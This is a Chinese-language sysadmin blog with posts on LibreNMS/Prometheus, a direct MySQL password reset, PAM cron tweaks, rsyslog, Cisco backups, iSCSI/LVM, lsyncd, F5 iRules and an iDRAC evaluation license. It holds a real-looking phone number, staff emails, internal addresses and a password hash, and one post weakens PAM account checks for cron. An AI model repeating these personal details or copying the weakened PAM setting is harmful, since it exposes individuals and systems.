systemctl enable --now pushgateway.service

二、配置librenms

cd /opt/librenms
vi config.php
$config['prometheus']['enable'] = true;
$config['prometheus']['url'] = 'http://127.0.0.1:50004';
$config['prometheus']['job'] = 'librenms'; # Optional

三、配置prometheus

- job_name: 'librenms'
  scrape_interval: 300s
  honor_labels: true
  static_configs:
    - targets: ['172.18.31.10:50004']
      labels:
        sms_to: '18618197196'

首先访问prometheus，http://172.18.31.8:9090/targets

这样弄好后，再访问 http://172.18.31.10:50004/metrics

里面的东西是十分癫狂的，从交换机端口到F5，应有尽有

东西收进prometheus后，可以通过grafana对各种指标进行画图和报警

Librenms强制修改密码

Wed, 13 Dec 2023 09:05:11 +0800

librenms对密码的强度有要求，必须使用非常复杂的密码策略才能满足要求. 这就鬼畜了，想改成至少能记得住的密码。

如何强制修改呢？

首先弄一段php程序来生成加密串：

<?php
echo password_hash("xxxxxxxx", PASSWORD_DEFAULT);
?>

运行后得到加密的字符串：

$2y$10$EUvwg5kVGXQUPBw4obdPJ.AKCSVgu8ximyyoFKW7hXed0s.sh/ud6

或者直接到下面的网站来生成：

https://phppasswordhash.com/

然后登录librenms的机器, 172.18.31.10

mysql -uroot -p
use librenms;
select * from users;
update users set password='$2y$10$EUvwg5kVGXQUPBw4obdPJ.AKCSVgu8ximyyoFKW7hXed0s.sh/ud6' where user_id=1;

这样就强制把密码修改成自己习惯的了。

xxl-job的动态编辑并执行java脚本

Tue, 12 Dec 2023 10:05:11 +0800

数据库管理员有个特殊的需求：

需要一个msyql客户端，可以定时去连接mysql服务器执行SQL语句。且可以自己动态编辑SQL语句。

找来找去，数据库管理员对spring java这类东西吧一无所知，但是通晓SQL，这种情形XXL-JOB的EXECUTOR代位执行就比较适合。

主控地址：http://172.18.31.13/xxl-job-admin/

使用很简单，我们在172.18.31.14装一个被控端的executor，运行模式选择GLUE(Java)模式，GLUE模式就可以随便编辑 JAVA+SQL源代码了。设置执行频率是每30分钟执行一次。

选择GLUE模式后，我们就可以在GLUE IDE里编辑代码：

代码如下：注：在172.18.31.14上面已经装了一个MySQL服务端，有一个user库。

package com.xxl.job.service.handler;

import com.xxl.job.core.context.XxlJobHelper;
import com.xxl.job.core.handler.IJobHandler;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.datasource.DriverManagerDataSource;

public class DemoGlueJobHandler extends IJobHandler {

	@Override
	public void execute() throws Exception {

        DriverManagerDataSource ds = new DriverManagerDataSource();
        ds.setDriverClassName("com.mysql.jdbc.Driver");
        ds.setUrl("jdbc:mysql://localhost:3306/users?characterEncoding=UTF-8&useSSL=false");
        ds.setUsername("root");
        ds.setPassword("xxxxxxxx");

        JdbcTemplate jdbcTemplate = new JdbcTemplate();
        jdbcTemplate.setDataSource(ds);
      

        List rows = jdbcTemplate.queryForList("select * from user"); 
        Iterator it = rows.iterator(); 
        while(it.hasNext()) { 
            Map userMap = (Map) it.next(); 
            XxlJobHelper.log(userMap.get("id") + "\t"); 
            XxlJobHelper.log(userMap.get("name") + "\t"); 
        } 
      
        XxlJobHelper.log("XXL-JOB guning, Hello World.");
	}

  
}

为了实现mysql客户端可以对MySQL进行读写，我们需要在xxl-job的xxl-job-executor-sample-springboot示例项目中，pom.xml中增加spring-jdbc和mysql-connector-java的jar包部分。打出一个xxl-job的executor的执行端程序。

检查证书是否过期的脚本

Tue, 12 Dec 2023 09:05:11 +0800

证书会经常面临过期而没有及时续费的情况，写个脚本提醒一下自己吧：

crontab -l

0 8 * * * /usr/local/bin/check_ssl.sh www.ddky.com

check_ssl.sh的内容：

#!/bin/bash
# Print the number of days till certificate expiration
#
# Example:
#   $ check_cert.sh sleeplessbeastie.eu
#   81
#   $ check_cert.sh lwn.net
#   630
#
# Exit codes:
#   0   - certificate is not expired
#   1   - certificate is     expired
#   254 - certificate is empty
#   255 - DNS resolution failed
#

# temporary file to store certificate
certificate_file=$(mktemp)

# delete temporary file on exit
trap "unlink $certificate_file" EXIT

if [ "$#" -eq "1" ]; then
  website="$1"
  host "$website" >&-
  if [ "$?" -eq "0" ]; then
    echo -n | openssl s_client -servername "$website" -connect "$website":443 2>/dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > $certificate_file
    certificate_size=$(stat -c "%s" $certificate_file)
    if [ "$certificate_size" -gt "1" ]; then
      date=$(openssl x509 -in $certificate_file -enddate -noout | sed "s/.*=\(.*\)/\1/")
      date_s=$(date -d "${date}" +%s)
      now_s=$(date -d now +%s)
      date_diff=$(( (date_s - now_s) / 86400 ))
      echo "$date_diff"
      if [ "$date_diff" -le 37 ]; then
          /usr/local/bin/mailsend -q -to "zhangranrui@ddky.com" -from monit@ddky.com -ssl -port 465 -auth -auth-plan -smtp smtp.exmail.qq.com -sub "证书就要到期了" -v -user "monit@ddky.com" -pass "xxxxxxxx" -cs "utf-8" -enc-type "base64" -M "$website 还有 $date_diff 天就要到期了！！！"
      fi
      if [ "$date_s" -gt "$now_s" ]; then
        exit 0 # ok
      else
        exit 1 # not ok
      fi
    else
      exit 254
    fi
  else
    exit 255
  fi
fi

root的crontab由于root密码失效导致不能正常工作

Mon, 11 Dec 2023 11:05:11 +0800

数据库管理员的 172.18.20.10 和 172.18.20.25 数据库备份脚本是以 root 身份运行的，在 crontab 里跑：

26 11 * * * /root/scripts/mysql_backup_full_3306.sh > /dev/null 2>&1

但是由于 root 密码会每三个月变更一次，如果没有及时变更，会导致 root 密码失效，从而 crontab 无法正常运行。

解决方法很简单：找到 /etc/pam.d/password-auth , 其中 account 的有四行

account     required      pam_unix.so
account     sufficient    pam_localuser.so
account     sufficient    pam_succeed_if.so uid < 1000 quiet
account     required      pam_permit.so

在前面增加两行：

account     required      pam_access.so
account     [success=1 default=ignore] pam_succeed_if.so service in crond quiet use_uid

account     required      pam_unix.so
account     sufficient    pam_localuser.so
account     sufficient    pam_succeed_if.so uid < 1000 quiet
account     required      pam_permit.so

这样就可以了，不用重启任何服务。

Rsyslog的一些特殊用法

Mon, 11 Dec 2023 10:05:11 +0800

Rsyslog的模板文件按日期存放：

$template 10.161.54.11,"/var/log/rsyslog/%fromhost-ip%/netflow_%$YEAR%-%$MONTH%-%$DAY%.log"
$template 10.161.50.5,"/var/log/rsyslog/%fromhost-ip%/xdns_webeng_%$YEAR%-%$MONTH%-%$DAY%.log"
$template 10.161.50.7,"/var/log/rsyslog/%fromhost-ip%/xdns_webeng_%$YEAR%-%$MONTH%-%$DAY%.log"

#从特定ip来的日志发到特定rsyslog服务器上去
#:fromhost-ip, !isequal, "127.0.0.1" ?Remote
:fromhost-ip, isequal, "10.161.54.11" ?10.161.54.11
:fromhost-ip, isequal, "10.161.50.5" ?10.161.50.5
:fromhost-ip, isequal, "10.161.50.7" ?10.161.50.7

Rsyslog打出所有调试信息：

*.* /var/log/debugfmt;RSYSLOG_DebugFormat

调试信息:

FROMHOST: '172.18.18.9', fromhost-ip: '172.18.18.9', HOSTNAME: '172.18.18.9', PRI: 5,
syslogtag 'time:', programname: 'time', APP-NAME: 'time', PROCID: '-', MSGID: '-',
TIMESTAMP: 'Mar  4 09:04:45', STRUCTURED-DATA: '-',
msg: '2021-03-04 09:04:45;danger_degree:1;breaking_sighn:0;event:[50556]MySQL登录认证成功;src_addr:172.18.5.65;src_port:57953;dst_addr:172.18.20.52;dst_port:3306;user:;smt_user:;proto:MYSQL'
escaped msg: '2021-03-04 09:04:45;danger_degree:1;breaking_sighn:0;event:[50556]MySQL登录认证成功;src_addr:172.18.5.65;src_port:57953;dst_addr:172.18.20.52;dst_port:3306;user:;smt_user:;proto:MYSQL'
inputname: imudp rawmsg: '<5>time:2021-03-04 09:04:45;danger_degree:1;breaking_sighn:0;event:[50556]MySQL登录认证成功;src_addr:172.18.5.65;src_port:57953;dst_addr:172.18.20.52;dst_port:3306;user:;smt_user:;proto:MYSQL'
$!:
$.:
$/:

Rsyslog的isequal，不建议，建议用==

if $fromhost isequal 172.18.18.9 then /var/log/nips.log

if $fromhost-ip ==  '172.18.18.9' then  {
  action(type="ommysql" server="localhost" db="Syslog" uid="nips" pwd="xxxxxxxx")
}

Rsyslog的ommysql用法

$ModLoad ommysql

*.info;mail.none;authpriv.none;cron.none               :ommysql:localhost,Syslog,nips,xxxxxxxx

*.info;mail.none;authpriv.none;cron.none               action(type="ommysql" server="localhost" db="Syslog" uid="nips" pwd="xxxxxxxx")

$template dbFormat,"insert into SystemEvents (Message, Facility,FromHost, Priority, DeviceReportedTime, ReceivedAt, InfoUnitID, SysLogTag) values ('%msg%', %syslogfacility%, '%fromhost-ip%',%syslogpriority%, '%timereported:::date-mysql%', '%timegenerated:::date-mysql%', %iut%, '%syslogtag%')",sql
action(type="ommysql" server="localhost" serverport="3306" db="Syslog" uid="nips" pwd="xxxxxxxx" template="dbFormat")

#172.18.31.34上的实际用法：
if $fromhost-ip ==  '172.18.18.9' then  {
    if $syslogpriority == 7 then  {
        $template dbFormat1,"insert into SystemEvents (Message, Facility,FromHost, Priority, DeviceReportedTime, ReceivedAt, InfoUnitID, SysLogTag) values ('%msg%', 10, '%fromhost-ip%',%syslogpriority%, '%timereported:::date-mysql%', '%timegenerated:::date-mysql%', %iut%, 'nips')",sql
        action(type="ommysql" server="localhost" serverport="3306" db="Syslog" uid="nips" pwd="xxxxxxxx" template="dbFormat1")
    }
    else {
        $template dbFormat2,"insert into SystemEvents (Message, Facility,FromHost, Priority, DeviceReportedTime, ReceivedAt, InfoUnitID, SysLogTag) values ('time:%msg%', 10, '%fromhost-ip%',%syslogpriority%, '%timereported:::date-mysql%', '%timegenerated:::date-mysql%', %iut%, 'nips')",sql
        action(type="ommysql" server="localhost" serverport="3306" db="Syslog" uid="nips" pwd="xxxxxxxx" template="dbFormat2")
    }
}
& ~

Rsyslog中& ~的用法

网络设备配置的备份

Mon, 11 Dec 2023 09:05:11 +0800

这个其实是网络工程师的工作，有以下两种方法：

一、用ssh备份Cisco设备的脚本

需要事先在/root/.ssh/config配置好直接登录，并且在Cisco设备里设置好权限级别，可以执行show run

#!/bin/sh
sshcmd="ssh -o LogLevel=quiet"
$sshcmd $1 "show run" > /root/backup/$1-$(date '+%Y%m%d').txt

二、备份Cisco设备的Python脚本，这个可控性更高：

首选需要在/export/servers/python363装好python, pip install netmiko 其次，在路由器上可以配置en的密码

#!/export/servers/python363/bin/python3.6

from netmiko import Netmiko
import time
 
tw_bgp = {
    "device_type": "cisco_ios",
    "host": "tw-bgp",
    "ip": "192.168.1.10",
    "username": "noc",
    "use_keys": True,
    "secret" : "xxxxxxxx",
    "key_file": "/root/.ssh/id_jump_rsa_new",
}

tw_r1_e1 = {
    "device_type": "cisco_ios",
    "host": "tw-r1-e1",
    "ip": "192.168.1.11",
    "username": "noc",
    "use_keys": True,
    "key_file": "/root/.ssh/id_jump_rsa_new",
}

tw_r1_e2 = {
    "device_type": "cisco_ios",
    "host": "tw-r1-e2",
    "ip": "192.168.1.12",
    "username": "noc",
    "use_keys": True,
    "key_file": "/root/.ssh/id_jump_rsa_new",
}

tw_r2_e1 = {
    "device_type": "cisco_ios",
    "host": "tw-r2-e1",
    "ip": "192.168.1.13",
    "username": "noc",
    "use_keys": True,
    "key_file": "/root/.ssh/id_jump_rsa_new",
}

tw_r2_e2 = {
    "device_type": "cisco_ios",
    "host": "tw-r2-e2",
    "ip": "192.168.1.14",
    "username": "noc",
    "use_keys": True,
    "key_file": "/root/.ssh/id_jump_rsa_new",
}

devices=[tw_bgp, tw_r1_e1, tw_r1_e2, tw_r2_e1, tw_r2_e2]
 
for dev in devices:
        name = dev["ip"]
        connection = Netmiko(**dev)
        connection.enable()
        out = connection.send_command("show running-config")
        calender = time.strftime("%Y%m%d")
        file_name = '{}-{}.txt'.format(dev["host"],calender)
        file = open(file_name ,"w")
        file.write(out)
        file.close()
        connection.disconnect()
        print("BACKUP for %s done" %dev["host"])

lvm卷的clone方法

Fri, 08 Dec 2023 13:05:11 +0800

用pxe远程启动一个iscsi卷的方法已经会了的话。

如果我们要批量产新虚机，最快的方法应该是把远程的iscsi卷clone一下，供新的虚机用，方法如下：

在172.18.30.18上操作

查看一下，原来有两个LV（逻辑卷）

 # lvdisplay

那就把pvc-vis-18-31-48的lvm虚机卷，先copy做个mirror，-b参数表示后台运行。

# lvconvert --type mirror --alloc anywhere -m1 /dev/vg-targetd/pvc-vis-18-31-48 -b
  Logical volume vg-targetd/pvc-vis-18-31-48 converted.

提示一下就运行完毕了，虚假啊，后台正在运行同步信息：

lvs -a -o +devices | egrep "LV|48"

看那个Cpy&Sync，那个是进度条，才6.91，务必等走到100，再进行后续操作

然后破开这个mirror，把副本命名为vis-18-31-49

#lvconvert --splitmirrors 1 --name vis-18-31-49 /dev/vg-targetd/pvc-vis-18-31-48
  Logical volume vg-targetd/pvc-vis-18-31-48 converted.

再运行 lvdisplay

多出一个逻辑卷pvc-vis-18-31-49，之后我们就可以用这个新卷建立iscsi对象了。

这个卷装的Linux是Centos 7 last，网卡是dhcp，可以当模板复用。

开发投诉FTP慢问题的解决

Fri, 08 Dec 2023 11:05:11 +0800

问题说明：

1、研发同事反馈应用程序上传一张图片耗时6分钟，让我们排查一下是什么问题？

[INFO] 2022-03-01 17:16:38.295 [vu73wwv64ba4ncfzaiiou2qsem] [DubboServerHandler-172.18.32.254:20881-thread-2400] [FtpFile.java:854:uploadFileToPath()] uploadFileToPath path://c/product/590389/display/,fileName:display.jpg, cost:383667 ms

显示上传一张图片花了383667ms，没道理啊，这事自建的vsftp服务器，也没往oss桶里放东西的。

问题排查：

1、登录到30.18上面查看vsftpd日志信息，过滤display.jpg的信息，发现上传信息是正常的。

2、查看prometheus监控各项指标都很正常。唯有那个点的io比平时高一点，什么原因导致未知.

3、查看vsftpd的全部日志信息，发现ftp每到一个目录就执行一个list操作，由于product目录下面文件很多，所以过了6分钟才相应结果，这就是导致ftp慢的原因。 [图片]

4、找研发部门验证，终于发现ftp公共组件，代码里确实有这个list操作。

总结：开发病得不清，判断目录是否存在居然每次都刷一下所有文件，太弱智了。

Lsync 同步软件的运用

Fri, 08 Dec 2023 10:05:11 +0800

公司使用智齿的机器崩了，要做数据迁移。

由三台老机器迁移到三台新kvm机器

我们需要把其中一台34.38的的东西实时同步两份，一份到30.18的glusterfs，一份到34.41的/data

同时也要注意30.18的GFS中已经有两个虚机文件，32.6和34.38的qcow2

所以lsync务必要小心，不能删除已有文件

安装很简单：

yum install epel-release
yum install lsyncd

172.18.34.38上面的/etc/lsyncd.conf如下，同步到两个目的地：注意下面的参数：

maxProcesses = 2 # 本机用于rsync的进程数
delete = ‘running’ # 只删除lsync启动之后删除的文件，目的文件夹中原有的文件保存
exclude = “upload” # 第二个同步中排除的目录，注意这里是匹配全路径中的部分字串，upload 可以匹配到 /data/new/chatmsg/upload/allajl.jpg，就upload目录下文件大，所以把它排除。**这里的规则是和rsync中exclude的写法不同的！！！**只取路径中的upload字串就可以排除。

----
-- User configuration file for lsyncd.
--
-- Simple example for default rsync, but executing moves through on the target.
--
-- For more examples, see /usr/share/doc/lsyncd*/examples/
-- 
-- sync{default.rsyncssh, source="/var/www/html", host="localhost", targetdir="/tmp/htmlcopy/"}

settings {
    logfile = "/var/log/lsyncd/lsyncd.log",
    statusFile = "/var/log/lsyncd/lsyncd-status.log",
    statusInterval = 5,
    maxProcesses = 2
}

sync {
    default.rsync,
    source = "/data/new",
    target = "172.18.30.18::new",
    delete = 'running',
    delay = 5,
    rsync     = {
        binary = "/usr/bin/rsync",
        archive = true,
        compress = false,
        verbose   = true
    }
}

sync {
    default.rsync,
    source = "/data",
    target = "172.18.34.41::new",
    delete = 'running',
    exclude = "upload",
    delay = 5,
    rsync     = {
        binary = "/usr/bin/rsync",
        archive = true,
        compress = false,
        verbose   = true
    }
}

对端rsyncd的配置如下：

Linux加密压缩tar包

Fri, 08 Dec 2023 09:05:11 +0800

审计的需求，需要定期备份文件，为了安全起见，这些压缩包需要加密保存，恢复的时候需要密码才能恢复：

把目录 20231224压缩进加密包：

tar -zcvf - 20231224|openssl des3 -salt -k <password> | dd of=/backup/cdrom/20231224.tar.gz.des3

解压：

dd if=/backup/cdrom/20231224.tar.gz.des3 |openssl des3 -d -k <password>|tar zxf -

今年下半年的两张Azure认证

Thu, 21 Sep 2023 09:05:11 +0800

在今年微软的挑战中拿了两张免费考卷，考了AZ-104和AZ-305，捞了一张专家证书，今年的考试到头了。

明年用免费azure考试抵扣税，真是一件好事。

Azure认证az-104的考点

Wed, 13 Sep 2023 09:05:11 +0800

在今年微软的挑战中拿了两张免费考卷，一张是115$，怕浪费啊，就分别考了AZ-104和AZ-305，基本上你104能过，305就没有问题，az-104挺多知识点的，最讨厌的是步骤题，不知道死记那些步骤有何意思，把104的知识要点分列如下：

ResourceGroup的 Tag不会被resource继承，新建的policy只针对新添加和更新的resource生效，对没有修改的resource不生效，另外需要关注policy的defination是只针对resource还是包括resource groups Adds the specified tag and value when any resource missing this tag is created or updated. Existing resources can be remediated by triggering a remediation task. If the tag exists with a different value it will not be changed. Does not modify tags on resource groups.
Resize Availability Set下的VM，需要停止Availability Set下所有的VM If the VM you wish to resize is part of an availability set, then you must stop all VMs in the availability set before changing the size of any VM in the availability set.

iscsi卷的释放

Tue, 05 Sep 2023 09:05:11 +0800

上一篇我们用losetup建了一个iscsi卷，现在空间不够了，需要释放掉之前建立的iscsi-volumes的20T空间。

首先去isci卷的宿主机查看一下

targetcli ls /

开始删除，先删除backstores，然后是iscsi，lv，vg，pv:

# targetcli /backstores/block delete vg-targetd:pvc-harbor
Deleted storage object vg-targetd:pvc-harbor.
# targetcli /backstores/block delete vg-targetd:pvc-vis-18-31-48
Deleted storage object vg-targetd:pvc-vis-18-31-48.
# targetcli /backstores/block delete vg-targetd:pvc-vis-18-31-49
Deleted storage object vg-targetd:pvc-vis-18-31-49.

# targetcli /iscsi delete iqn.2020-07.com.ddky:renhe-18-30-18
Deleted Target iqn.2020-07.com.ddky:renhe-18-30-18.
# targetcli /iscsi delete iqn.2020-10.com.ddky:vis-18-31-48
Deleted Target iqn.2020-10.com.ddky:vis-18-31-48.
# targetcli /iscsi delete iqn.2020-10.com.ddky:vis-18-31-49
Deleted Target iqn.2020-10.com.ddky:vis-18-31-49.

# lvs
  LV               VG         Attr       LSize   Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert
  pvc-harbor       vg-targetd -wi-a----- 200.00g                                                    
  pvc-vis-18-31-48 vg-targetd -wi-a-----  80.00g                                                    
  pvc-vis-18-31-49 vg-targetd -wi-a-----  80.00g                                                    
# lvremove /dev/vg-targetd/pvc-harbor
Do you really want to remove active logical volume vg-targetd/pvc-harbor? [y/n]: y
  Logical volume "pvc-harbor" successfully removed
# lvremove /dev/vg-targetd/pvc-vis-18-31-48
Do you really want to remove active logical volume vg-targetd/pvc-vis-18-31-48? [y/n]: y
  Logical volume "pvc-vis-18-31-48" successfully removed
# lvremove /dev/vg-targetd/pvc-vis-18-31-49
Do you really want to remove active logical volume vg-targetd/pvc-vis-18-31-49? [y/n]: y
  Logical volume "pvc-vis-18-31-49" successfully removed

# vgremove vg-targetd
  Volume group "vg-targetd" successfully removed
# lvs
# vgs
# pvs
  PV         VG Fmt  Attr PSize  PFree 
  /dev/loop0    lvm2 ---  19.53t 19.53t

# pvremove /dev/loop0
  Labels on physical volume "/dev/loop0" successfully wiped.

一整套下来，基本都干净了。

iscsi卷的远程挂载使用

Tue, 01 Aug 2023 09:05:11 +0800

如果机器的磁盘空间不够，可以用iscsi把服务器172.18.30.18上面划出一片空间，远程挂上来用。

注意，服务器用losetup的这种做法是为了将来k8s也可以这样用动态iscsi卷

服务器端安装

登录172.18.30.18

安装：

yum install -y targetcli targetd`

用文件来虚拟LVM卷：

cd /glusterfs/iscsi-volumes/
生成20TB文件
dd if=/dev/zero of=k8s-iscsi-volumes.img bs=1G count=20000
export LOOP=`losetup -f`
losetup $LOOP k8s-iscsi-volumes.img
vgcreate vg-targetd $LOOP

修改targetd.yaml:

vi /etc/target/targetd.yaml
password: xxxxxxxx
# defaults below; uncomment and edit
# if using a thin pool, use <volume group name>/<thin pool name>
# e.g vg-targetd/pool
pool_name: vg-targetd
user: admin
ssl: false
target_name: iqn.2020-04.com.ddky:renhe-18-30-18

注意，这个文件生成后，就不需要改动了，如果以后target_name变了，也不用管，也不需要重启targetd

启动服务：

systemctl enable --now target
systemctl enable --now targetd

运行一下命令，看看显示结果 pvdisplay vgdisplay lvdisplay targetcli ls /

注意：lvdisplay结果和targetcli ls /结果都是空

F5利用irule强行植入cookie

Thu, 27 Jul 2023 10:05:11 +0800

F5-Bigip利用irule强行给请求植入Cookie的方法。

irule有两种做法可以让链接重定向

HTTP::redirect "http://redirect.domain.com[HTTP::uri]"

或者：

HTTP::respond 302 Location "http://redirect.domain.com[HTTP::uri]" "locale" $cookie

我们可以利用第二种方法来强行塞进cookie

when HTTP_REQUEST {
    if {[HTTP::host] equals “find.domain.com” and [HTTP::path] equals “/” } {
        set local_cookie [HTTP::cookie value lg_locale]
        set cookie [format "locale=%s; path=/; domain=%s" $local_cookie "<cookiedomain>"]
        HTTP::respond 302 Location “http://redirect.domain.com[HTTP::uri]” “Set-Cookie” $cookie
    }
}

结果：

F5利用irule防爬虫

Thu, 27 Jul 2023 09:05:11 +0800

F5-Bigip利用irule防止爬虫的一法。

爬虫的请求：

GET /cms/rest.htm?method=ddky.cms.search.recommend.h5.o2o&pageNo=1&pageSize=6&shopId=201790&ordertypeId=0&suite=1&searchType=o2o&searchPanel=1&wd=%E6%B4%9B%E4%B8%81%E6%96%B0&lat=22.520712193695&lng=113.9233553732&city=%E6%B7%B1%E5%9C%B3%E5%B8%82&type=90&unique=05685D2A5DAB8ABBD2E5E5B26E0C960F&versionName=5.7.5&plat=H5&platform=H5&t=2020-12-15%2014%3A19%3A11&v=1.0&sign=A6BD136BC1B6F91E5C7DD5A0DA03DD79&callback=jsonp1

里面的t值是时间，t=2020-12-15%2014%3A19%3A11

但是有个问题，这个值一直不变了，那我们就利用这一点。如果T值跟当前时间对比，是3分钟前的，那就封！

F5的irule，直接return的是白名单：

when HTTP_REQUEST { 

   set t [URI::decode [URI::query [HTTP::uri] t]]
   set before [clock scan "180 seconds ago" ]
  
  if { [IP::addr [IP::client_addr] equals 124.206.168.0/255.255.255.224]}  {    
    return}
  if { [IP::addr [IP::client_addr] equals 61.135.14.96/255.255.255.240]}  {    
    return}
  if { [IP::addr [IP::client_addr] equals 114.251.7.112/255.255.255.240]}  {    
    return}
  if { [string tolower [HTTP::uri]] contains "/cms/"}  {    
 
  if {$before > [clock scan $t]}  {
    drop
  }
  }
}

绝版的elasticflow的安装

Mon, 24 Jul 2023 09:05:11 +0800

elasticflow 是个流量分析工具，通过对各种flow流量的抓取，分析数据，可以清晰的看到局域网中的流量。

网管的必备啊。首先要把sflow流量给发过来。(这里172.18.31.23是服务器端)

sflow collector 2 ip 172.18.31.23 description flow-server

拉取源代码：

git clone https://github.com/robcowart/elastiflow

启动集群

docker-compose up -d

这样整个数据会被清空，需要重新生成一遍，先把kibana的数据文件拉回来

wget https://raw.githubusercontent.com/robcowart/elastiflow/master/kibana/elastiflow.kibana.7.8.x.ndjson

然后登录http://172.18.31.23:5601

先到配置，导入

导入对象，选择elastiflow.kibana.7.8.x.ndjson文件上传

导入成功，导入了300多个对象

然后配置索引，应该不用配，直接选一个做default

这样就ok了，去dashboard的overview就能看到东西了

然后去修改一下shard策略，省得索引报黄色

PUT /_template/elastiflow-3.5.3
{
  "index_patterns": "*", 
  "settings": {
    "number_of_shards": 1
  }
}
PUT /_template/index_defaults 
{
  "index_patterns": "*",
  "settings": {
  "number_of_shards": 1
  }
}
PUT /_template/elastiflow-3.5.3
{
  "index_patterns": "elastiflow-3.5.3-*", 
  "settings": {
    "number_of_shards": 1
  }
}

查看一下：

curl -s -X GET 'http://localhost:9200/_cat/indices?v'
curl -s -X GET 'http://localhost:9200/_template'| jq

如何在容器内安装字体文件

Thu, 06 Jul 2023 09:05:11 +0800

pod 容器内要用中文雅黑字体生成 jpg 图片，没办法，只能把字体给装进去

首先进入容器，确定容器的基底是什么，是yum、apt或者apk

通常都是用apk最小化安装的，这样做法如下：

apk update
apk add --update ttf-dejavu fontconfig
rm -rf /var/cache/apk/*

mkdir /usr/share/fonts/chinese

cp /usr/local/jre1.8.0_201/lib/fonts/simsun.ttc /usr/share/fonts/chinese

mkfontscale && mkfontdir && fc-cache

这样就搞定了，当然这只是临时的。

要想长久就得修改Dockerfile，把文件拷进容器，然后同样得执行命令即可。

2023年获得的证书

Fri, 30 Jun 2023 09:05:11 +0800

2023年上半年经过努力，又考了3张证书，下半年继续努力奋斗……

Yapi集成进freeIPA进行统一认证

Wed, 12 Apr 2023 09:05:11 +0800

Freeipa接入Yapi.

vi my-api/config.json

...
    "ldapLogin": {
      "enable": true,
      "server": "ldap://ldap.bybon.cn",
      "baseDn": "uid=manager,cn=users,cn=accounts,dc=bybon,dc=cn",
      "bindPassword": "xxxxxxxx",
      "searchDn": "cn=users,cn=accounts,dc=bybon,dc=cn",
      "searchStandard": "mail",
      "emailPostfix": "@bybon.cn",
      "emailKey": "mail",
      "usernameKey": "displayName"
   }

这里需要修改一下，vi my-yapi/vendors/server/controllers/user.js

理由如下，登录的时候，yapi的逻辑是先判断用户邮件，把邮件中的用户名摘出来，然后加上配置中的邮件域。

这个逻辑在ldap中就不对了，改成如下格式，这样直接输入ldap用户名就可以登录了

  /**
   * ldap登录
   * @interface /user/login_by_ldap
   * @method
   * @category user
   * @foldnumber 10
   * @param {String} email email名称，不能为空
   * @param  {String} password 密码，不能为空
   * @returns {Object}
   *
   */
  async getLdapAuth(ctx) {
    try {
      const { email, password } = ctx.request.body;
      //no const username = email.split(/\@/g)[0];
      //1 const { info: ldapInfo } = await ldap.ldapQuery(email, password);
      //2 const emailPrefix = email.split(/\@/g)[0];
      //3 const emailPostfix = yapi.WEBCONFIG.ldapLogin.emailPostfix;

      //zrr
      const emailPrefix = email.split(/\@/g)[0];
      const emailPostfix = yapi.WEBCONFIG.ldapLogin.emailPostfix;
      const { info: ldapInfo } = await ldap.ldapQuery(
        (emailPostfix ? emailPrefix + emailPostfix : email),password);
      //zrr


      const emailParams =
        ldapInfo[yapi.WEBCONFIG.ldapLogin.emailKey || 'mail'] ||
        (emailPostfix ? emailPrefix + emailPostfix : email);
      const username = ldapInfo[yapi.WEBCONFIG.ldapLogin.usernameKey] || emailPrefix;

Dell得Idrac临时license

Thu, 06 Apr 2023 09:05:11 +0800

新公司的dell服务器idrac居然没有license，无法远程，找了dell要了一个临时license给装上，其实装好系统就不会太用到了，记录一下，以后备用。

<?xml version="1.0"?>
<!--Copyright (c) 2010-2011 Dell Inc. All Rights Reserved.-->
<lns:LicenseClass xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:lns="http://www.dell.com/2011/12G/licensing">
  <lns:LicenseData>
    <lns:Schema lns:Vendor="Dell" lns:ID="iDRAC" lns:maxDepth="255" lns:SchemaVersion="2.0"/>
    <lns:TransferableLicense>false</lns:TransferableLicense>
    <lns:UTCdateSold>2011-09-20T16:10:37Z</lns:UTCdateSold>
    <lns:EntitlementID>56r8irR7fV5w3MIxlJUFL9Ph_Lori_Matthews</lns:EntitlementID>
    <lns:DeviceClass lns:ID="iDRAC"/>
    <lns:ProductDescription>
      <lns:lang_en>iDRAC7 Enterprise Evaluation License</lns:lang_en>
      <lns:lang_es>iDRAC7 Enterprise Evaluation License</lns:lang_es>
      <lns:lang_fr>iDRAC7 Enterprise Evaluation License</lns:lang_fr>
      <lns:lang_de>iDRAC7 Enterprise Evaluation License</lns:lang_de>
      <lns:lang_it>iDRAC7 Enterprise Evaluation License</lns:lang_it>
      <lns:lang_ja>iDRAC7 Enterprise Evaluation License</lns:lang_ja>
      <lns:lang_zh>iDRAC7 Enterprise Evaluation License</lns:lang_zh>
    </lns:ProductDescription>
    <lns:LicenseTerm>
      <lns:Evaluation lns:Duration="P30D"/>
    </lns:LicenseTerm>
    <lns:DeviceInfo lns:ID="1" lns:VendorID="0x1912" lns:DeviceID="0x0011"/>
    <lns:Feature lns:ID="1" lns:Description="License Management" lns:Enabled="true"/>
    <lns:Feature lns:ID="2" lns:Description="RACADM" lns:Enabled="true"/>
    <lns:Feature lns:ID="3" lns:Description="WSMAN" lns:Enabled="true"/>
    <lns:Feature lns:ID="4" lns:Description="SNMP" lns:Enabled="true"/>
    <lns:Feature lns:ID="5" lns:Description="Auto Discovery" lns:Enabled="true"/>
    <lns:Feature lns:ID="6" lns:Description="USC Firmware Update" lns:Enabled="true"/>
    <lns:Feature lns:ID="7" lns:Description="Update Package" lns:Enabled="true"/>
    <lns:Feature lns:ID="8" lns:Description="USC Operating System Deployment" lns:Enabled="true"/>
    <lns:Feature lns:ID="9" lns:Description="USC Device Configuration" lns:Enabled="true"/>
    <lns:Feature lns:ID="10" lns:Description="USC Diagnostics" lns:Enabled="true"/>
    <lns:Feature lns:ID="11" lns:Description="Power Budget" lns:Enabled="true"/>
    <lns:Feature lns:ID="12" lns:Description="Power Monitoring" lns:Enabled="true"/>
    <lns:Feature lns:ID="13" lns:Description="Virtual Media" lns:Enabled="true"/>
    <lns:Feature lns:ID="14" lns:Description="Telnet" lns:Enabled="true"/>
    <lns:Feature lns:ID="15" lns:Description="SMASH CLP" lns:Enabled="true"/>
    <lns:Feature lns:ID="16" lns:Description="IPv6" lns:Enabled="true"/>
    <lns:Feature lns:ID="17" lns:Description="Dynamic DNS" lns:Enabled="true"/>
    <lns:Feature lns:ID="18" lns:Description="Dedicated NIC" lns:Enabled="true"/>
